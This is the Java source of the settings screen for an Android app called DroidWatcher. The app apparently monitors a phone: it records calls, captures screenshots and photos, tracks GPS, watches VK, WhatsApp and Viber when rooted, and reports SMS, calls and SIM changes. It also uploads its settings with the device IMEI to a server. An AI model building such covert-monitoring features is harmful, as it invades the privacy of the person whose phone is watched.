package com.droidwatcher.activity; import java.util.Calendar; import com.droidwatcher.R; import com.droidwatcher.ServerMessanger; import com.droidwatcher.SettingsManager; import com.droidwatcher.lib.MessageType; import com.droidwatcher.services.AppService; import com.droidwatcher.variables.ServerMessage; import com.stericson.RootTools.RootTools; import android.content.SharedPreferences; import android.content.SharedPreferences.OnSharedPreferenceChangeListener; import android.os.Build; import android.os.Bundle; import android.preference.CheckBoxPreference; import android.preference.EditTextPreference; import android.preference.Preference; import android.preference.Preference.OnPreferenceChangeListener; import android.preference.PreferenceActivity; import android.preference.PreferenceManager; import android.widget.Toast; public class MyPreferenceActivity extends PreferenceActivity { private OnSharedPreferenceChangeListener listener; private SharedPreferences prefs; @SuppressWarnings("deprecation") @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); addPreferencesFromResource(R.xml.settings); prefs = PreferenceManager.getDefaultSharedPreferences(this); listener = new SharedPreferences.OnSharedPreferenceChangeListener() { public void onSharedPreferenceChanged(SharedPreferences prefs, String key) { if (key.equals("NOTIFY_SIM_CHANGE") || key.equals("NOTIFY_SMS") || key.equals("NOTIFY_CALL")){ if (prefs.getString("NOTIFY_NUMBER", "").length() == 0) { Toast.makeText(MyPreferenceActivity.this, R.string.settings_noNumber, Toast.LENGTH_LONG).show(); } return; } } }; prefs.registerOnSharedPreferenceChangeListener(listener); EditTextPreference code = (EditTextPreference) findPreference("APP_RUN_CODE"); code.setOnPreferenceChangeListener(new OnPreferenceChangeListener() { public boolean onPreferenceChange(android.preference.Preference preference, Object newValue) { String nv = (String) newValue; if (!onlyDigits(nv)){ Toast.makeText(MyPreferenceActivity.this, R.string.settings_onlyDigits, Toast.LENGTH_LONG).show(); return false; } if(nv.length() == 0){ Toast.makeText(MyPreferenceActivity.this, R.string.settings_emptyCode, Toast.LENGTH_LONG).show(); return false; } return true; } }); EditTextPreference number = (EditTextPreference) findPreference("NOTIFY_NUMBER"); number.setOnPreferenceChangeListener(new OnPreferenceChangeListener() { public boolean onPreferenceChange(android.preference.Preference preference, Object newValue) { String nv = (String) newValue; if (!onlyDigits(nv)){ Toast.makeText(MyPreferenceActivity.this, R.string.settings_numberError, Toast.LENGTH_LONG).show(); return false; } return true; } }); CheckBoxPreference pref_wifi = (CheckBoxPreference) findPreference("ONLY_WIFI"); pref_wifi.setOnPreferenceChangeListener(new OnPreferenceChangeListener() { @Override public boolean onPreferenceChange(Preference preference, Object newValue) { Boolean val = (Boolean) newValue; findPreference("FILES_ONLY_WIFI").setEnabled(!val); return true; } }); findPreference("FILES_ONLY_WIFI").setEnabled(!pref_wifi.isChecked()); CheckBoxPreference pref_screenshot = (CheckBoxPreference) findPreference("SCREENSHOT_ENABLED"); pref_screenshot.setOnPreferenceChangeListener(new OnPreferenceChangeListener() { @Override public boolean onPreferenceChange(Preference preference, Object newValue) { Boolean val = (Boolean) newValue; findPreference("SCREENSHOT_INTERVAL").setEnabled(val); findPreference("SCREENSHOT_PHOTO_FORMAT").setEnabled(val); return true; } }); findPreference("SCREENSHOT_INTERVAL").setEnabled(pref_screenshot.isChecked()); findPreference("SCREENSHOT_PHOTO_FORMAT").setEnabled(pref_screenshot.isChecked()); CheckBoxPreference pref_photo = (CheckBoxPreference) findPreference("CAPTURE_PHOTO"); pref_photo.setOnPreferenceChangeListener(new OnPreferenceChangeListener() { @Override public boolean onPreferenceChange(Preference preference, Object newValue) { Boolean val = (Boolean) newValue; findPreference("CAPTURE_PHOTO_FORMAT").setEnabled(val); return true; } }); findPreference("CAPTURE_PHOTO_FORMAT").setEnabled(pref_photo.isChecked()); CheckBoxPreference pref_record = (CheckBoxPreference) findPreference("RECORD_CALLS"); pref_record.setOnPreferenceChangeListener(new OnPreferenceChangeListener() { @Override public boolean onPreferenceChange(Preference preference, Object newValue) { Boolean val = (Boolean) newValue; findPreference("RECORD_SOURCE").setEnabled(val); findPreference("RECORD_FORMAT").setEnabled(val); return true; } }); findPreference("RECORD_SOURCE").setEnabled(pref_record.isChecked()); findPreference("RECORD_FORMAT").setEnabled(pref_record.isChecked()); CheckBoxPreference pref_gps = (CheckBoxPreference) findPreference("USE_GPS"); pref_gps.setOnPreferenceChangeListener(new OnPreferenceChangeListener() { @Override public boolean onPreferenceChange(Preference preference, Object newValue) { Boolean val = (Boolean) newValue; findPreference("GPS_ONLY_NEW").setEnabled(val); findPreference("GPS_TIMER").setEnabled(val); return true; } }); findPreference("GPS_ONLY_NEW").setEnabled(pref_gps.isChecked()); findPreference("GPS_TIMER").setEnabled(pref_gps.isChecked()); if (!RootTools.isRootAvailable() || !RootTools.isAccessGiven()) { findPreference("AUTOUPDATE").setEnabled(false); findPreference("SCREENSHOT_ENABLED").setEnabled(false); findPreference("SCREENSHOT_INTERVAL").setEnabled(false); findPreference("SCREENSHOT_PHOTO_FORMAT").setEnabled(false); findPreference("VK_ENABLED").setEnabled(false); findPreference("WA_ENABLED").setEnabled(false); findPreference("VB_ENABLED").setEnabled(false); } if (Build.VERSION.SDK_INT < Build.VERSION_CODES.ICE_CREAM_SANDWICH) { findPreference("SCREENSHOT_ENABLED").setEnabled(false); findPreference("SCREENSHOT_INTERVAL").setEnabled(false); findPreference("SCREENSHOT_PHOTO_FORMAT").setEnabled(false); } } private Boolean onlyDigits(String s){ for (Integer i = 0; i < s.length(); i++){ if(!Character.isDigit(s.charAt(i)) && s.charAt(i) != '+'){ return false; } } return true; } @Override protected void onDestroy() { prefs.unregisterOnSharedPreferenceChangeListener(listener); super.onDestroy(); } @Override protected void onPause() { prefs.unregisterOnSharedPreferenceChangeListener(listener); if (AppService.sThreadManager != null) { SettingsManager settings = new SettingsManager(this); AppService.sThreadManager.addTask( new ServerMessanger( this, new ServerMessage(MessageType.SETTINGS_SEND, settings.imei(), settings.login()) .addParam("settings", settings.getJSON()) .addParam("date", Calendar.getInstance().getTimeInMillis()) ) ); } super.onPause(); } }